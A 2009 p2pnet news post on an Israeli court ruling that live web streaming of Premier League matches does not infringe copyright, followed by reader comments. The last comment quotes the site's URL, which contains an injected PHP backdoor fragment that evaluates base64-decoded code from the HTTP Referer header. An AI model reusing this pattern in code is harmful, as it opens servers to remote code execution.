Live online footie OK in Israel
p2pnet news view Freedom | P2P:- If you’re an online footie fan and you live in Israel, your troubles are over.
For the moment, anyway.
Especially if you like live-footy.org.
That’s because live online broadcasts of sports events don’t infringe copyrights, Tel Aviv district court judge Michal Agmon-Gonen has decided.
Her ruling is quoted by Haaretz, which says as a result, live-footy.org, “will be allowed to continue free broadcasts of Premier League soccer games,” going on:
“The Premier League grants licenses for broadcasting the games to broadcasters in 207 countries. The league’s management, which recently discovered that the Israeli-owned web site has been broadcasting the games live, sent an email to the owners demanding that the broadcasts cease. When the owners refused, the Premier League asked for an injunction to put a halt to the streaming.”
But Agmon-Gonen found the Premier League, “failed to prove that the web site had violated its rights,”, said the story adding:
“Internet broadcasts are not similar to television broadcasts, she ruled, and the Internet broadcast viewers are not people who would potentially pay to see the games on television.”
However, predictably, Premier League lawyer Meir Klinger, “believes the decision to be incorrect and will probably appeal it to the Supreme Court,”
First they ignore you, then they laugh at you, then they fight you, then you win ~ Mahatma Gandhi
Haaretz – Live webcasts of sports events on Internet don’t violate copyrights, September 3, 2009
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September 3rd, 2009 at 7:06 pm
Wow – for once I side with the copyright cartel in so much that the judge got it wrong! The people that watch these internet matches would possibly be subscribers. However – if the matches are broadcast legally – and for free – on either television or internet – anywhere in the world, then they ought to be available for free for anyone who wishes to watch them!
September 3rd, 2009 at 11:58 pm
Amazing. That’s got to be the most pro-filesharing judge anywhere in the world.
September 4th, 2009 at 2:39 am
We need more judges like this.
September 4th, 2009 at 5:42 am
what’s with the extra garbage code in url’s?
“http://www.p2pnet.net/2009/09/03/live-online-footies-ok-in-israel/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/”